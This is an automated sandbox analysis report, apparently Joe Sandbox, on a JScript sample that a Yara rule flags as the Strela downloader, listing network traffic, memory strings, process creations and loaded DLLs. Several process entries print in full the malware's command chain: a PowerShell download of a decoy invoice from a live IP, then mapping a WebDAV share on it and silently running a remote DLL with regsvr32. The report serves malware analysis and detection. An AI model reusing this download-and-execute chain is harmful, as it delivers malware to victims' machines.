Source: unknown	Network traffic detected: HTTP traffic on port 49705 -> 8888
Source: unknown	Network traffic detected: HTTP traffic on port 8888 -> 49705

Source: global traffic

TCP traffic: 192.168.2.8:49705 -> 193.143.1.205:8888

Source: global traffic

TCP traffic: 192.168.2.8:49742 -> 1.1.1.1:53

Source: Joe Sandbox View

IP Address: 193.143.1.205 193.143.1.205

Source: Joe Sandbox View

ASN Name: BITWEB-ASRU BITWEB-ASRU

Source: Network traffic

Suricata IDS: 1810000 - Severity 2 - Joe Security ANOMALY Windows PowerShell HTTP activity : 192.168.2.8:49704 -> 193.143.1.205:80

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205
Source: unknown	TCP traffic detected without corresponding DNS query: 193.143.1.205

Source: global traffic

HTTP traffic detected: GET /invoice.php HTTP/1.1User-Agent: Mozilla/5.0 (Windows NT; Windows NT 10.0; en-US) WindowsPowerShell/5.1.19041.1682Host: 193.143.1.205Connection: Keep-Alive

Source: global traffic

DNS traffic detected: DNS query: x1.i.lencr.org

Source: wscript.exe, 00000000.00000002.1467407847.00000167A456A000.00000004.00000020.00020000.00000000.sdmp, wscript.exe, 00000000.00000002.1467341707.00000167A4560000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205/invoice.php
Source: net.exe, 00000007.00000002.1525266250.000001D3D710E000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1525266250.000001D3D70E4000.00000004.00000020.00020000.00000000.sdmp, net.exe, 00000007.00000002.1525266250.000001D3D70B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/
Source: net.exe, 00000007.00000002.1525266250.000001D3D70B8000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://193.143.1.205:8888/pace
Source: svchost.exe, 00000009.00000002.2745755744.00000222A8612000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: http://crl.ver)
Source: 77EC63BDA74BD0D0E0426DC8F8008506.8.dr	String found in binary or memory: http://ctldl.windowsupdate.com/msdownload/update/v3/static/trustedr/en/authrootstl.cab
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/chromewebstore/L2Nocm9tZV9leHRlbnNpb24vYmxvYnMvYjFkQUFWdmlaXy12MHFU
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaa5khuklrahrby256zitbxd5wq_1.0.2512.1/n
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/acaxuysrwzdnwqutaimsxybnjbrq_2023.9.25.0/
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adhioj45hzjkfunn7ccrbqyyhu3q_20230916.567
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/adqyi2uk2bd7epzsrzisajjiqe_9.48.0/gcmjkmg
Source: qmgr.db.9.dr	String found in binary or memory: http://edgedl.me.gvt1.com/edgedl/release2/chrome_component/dix4vjifjljmfobl3a7lhcpvw4_414/lmelglejhe
Source: qmgr.db.9.dr	String found in binary or memory: http://f.c2r.ts.cdn.office.net/pr/492350f6-3a01-4f97-b9c0-c7c6ddf67d60/Office/Data/v32_16.0.16827.20
Source: 2D85F72862B55C4EADD9E66E06947F3D0.8.dr	String found in binary or memory: http://x1.i.lencr.org/
Source: edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/Prod/C:
Source: svchost.exe, 00000009.00000003.1526002480.00000222A8380000.00000004.00000800.00020000.00000000.sdmp, edb.log.9.dr, qmgr.db.9.dr	String found in binary or memory: https://g.live.com/odclientsettings/ProdV2/C:

Spam, unwanted Advertisements and Ransom Demands

Yara detected Strela Downloader

Source: Yara match

File source: Process Memory Space: wscript.exe PID: 4568, type: MEMORYSTR

System Summary

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Source: C:\Windows\System32\wscript.exe

COM Object queried: Windows Script Host Shell Object HKEY_LOCAL_MACHINE\SOFTWARE\Classes\CLSID\{72C24DD5-D70A-438B-8A42-98424B88AFB8}

Jump to behavior

Wscript starts Powershell (via cmd or directly)

Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior

Source: C:\Windows\System32\svchost.exe

File created: C:\Windows\ServiceProfiles\LocalService\AppData\Local\FontCache\Fonts\Download-1.tmp

Jump to behavior

Source: 253742123626823892.js

Initial sample: Strings found which are bigger than 50

Source: classification engine

Classification label: mal100.rans.troj.spyw.expl.evad.winJS@27/55@1/2

Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe

File created: C:\Users\user\AppData\Local\Adobe\Acrobat\DC\SharedDataEvents-journal

Jump to behavior

Source: C:\Windows\System32\conhost.exe	Mutant created: \Sessions\1\BaseNamedObjects\Local\SM0:5804:120:WilError_03
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Mutant created: NULL

Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

File created: C:\Users\user\AppData\Local\Temp\__PSScriptPolicyTest_4nzlwsdj.lqx.ps1

Jump to behavior

Source: C:\Windows\System32\wscript.exe

File read: C:\Users\user\Desktop\desktop.ini

Jump to behavior

Source: C:\Windows\System32\wscript.exe

Key opened: HKEY_LOCAL_MACHINE\Software\Policies\Microsoft\Windows\Safer\CodeIdentifiers

Jump to behavior

Source: 253742123626823892.js

Virustotal: Detection: 8%

Source: unknown	Process created: C:\Windows\System32\wscript.exe C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\253742123626823892.js"
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\conhost.exe C:\Windows\system32\conhost.exe 0xffffffff -ForceV1
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215
Source: unknown	Process created: C:\Windows\System32\svchost.exe C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,17921316697761337183,13458246683038428077,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8
Source: C:\Windows\System32\wscript.exe	Process created: C:\Windows\System32\cmd.exe "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\24861310416064.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf"	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\cmd.exe cmd /c net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Process created: C:\Windows\System32\net.exe net use \\193.143.1.205@8888\davwwwroot\	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2104 --field-trial-handle=1644,i,17921316697761337183,13458246683038428077,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior
Source: C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe	Process created: unknown unknown	Jump to behavior

Source: C:\Windows\System32\wscript.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sxs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: jscript.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrobj.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: scrrun.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\wscript.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: propsys.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: edputil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: windows.staterepositoryps.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: wintypes.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: appresolver.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: bcp47langs.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: slc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sppc.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecorecommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: onecoreuapcommonproxystub.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: pcacli.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\cmd.exe	Section loaded: sfc_os.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: atl.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mscoree.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: version.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: vcruntime140_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ucrtbase_clr0400.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptsp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rsaenh.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: amsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: userenv.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: windows.storage.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msasn1.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: gpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: msisip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: wshext.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: appxsip.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: opcservices.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: secur32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: uxtheme.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasapi32.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rasman.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: rtutils.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: wkscli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: samcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: drprov.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winsta.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ntlanman.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davclnt.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: davhlpr.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: ondemandconnroutehelper.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc6.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: dhcpcsvc.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: webio.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: mswsock.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: winnsi.dll	Jump to behavior
Source: C:\Windows\System32\net.exe	Section loaded: sspicli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: kernel.appcore.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: qmgr.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsperf.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: powrprof.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: xmllite.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: firewallapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: esent.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: umpdc.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: dnsapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iphlpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: fwbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wldp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ntmarta.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: profapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: flightsettings.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: policymanager.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: msvcp110_win.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netprofm.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: npmproxy.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: bitsigd.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: upnp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: winhttp.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: ssdpapi.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: urlmon.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: iertutil.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: srvcli.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: netutils.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: appxdeploymentclient.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: cryptbase.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: wsmauto.dll	Jump to behavior
Source: C:\Windows\System32\svchost.exe	Section loaded: miutils.dll	Jump to behavior
